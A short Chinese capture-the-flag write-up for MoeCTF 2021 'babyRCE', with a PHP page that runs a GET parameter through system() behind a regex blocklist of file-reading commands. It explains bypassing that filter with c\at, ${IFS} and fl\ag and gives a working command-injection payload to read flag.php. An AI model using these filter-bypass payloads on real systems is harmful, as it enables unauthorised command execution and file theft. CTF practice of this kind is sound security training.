[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

php 复制代码
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>

${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是:?rce=c\at${IFS}fl\ag.php

相关推荐
泪不是Web妳而流1 小时前
【CTFSHOW_Web入门】命令执行
web安全·网络安全·php·linux命令·rce·命令执行·ctfshow命令执行wp题解
菜鸟、小高1 小时前
Yii2.0 模型规则(rules)详解
php·yii
深山技术宅10 小时前
在Laravel 12中实现基于parent_id的树状数组
php·laravel
海尔辛16 小时前
学习黑客 MAC 地址深入了解
学习·macos·php
Q_Q196328847516 小时前
python小说网站管理系统-小说阅读系统
开发语言·spring boot·python·django·flask·node.js·php
2501_9063143220 小时前
使用Scrapeless Scraping Browser的自动化和网页抓取最佳实践
搜索引擎·自动化·php
pqq的迷弟21 小时前
redis多路复用IO模型 以及 6.0引入的多线程模型
数据库·redis·php
小马过河R1 天前
基于OpenTelemetry的分布式链路追踪Trace‌实现(PHP篇)
开发语言·分布式·微服务·云原生·php
徊忆羽菲1 天前
学习整理使用php将SimpleXMLElement 对象解析成数组格式的方法
开发语言·学习·php
Waitccy1 天前
HTTP 与 HTTPS 的深度剖析:差异、原理与应用场景
网络协议·http·https·php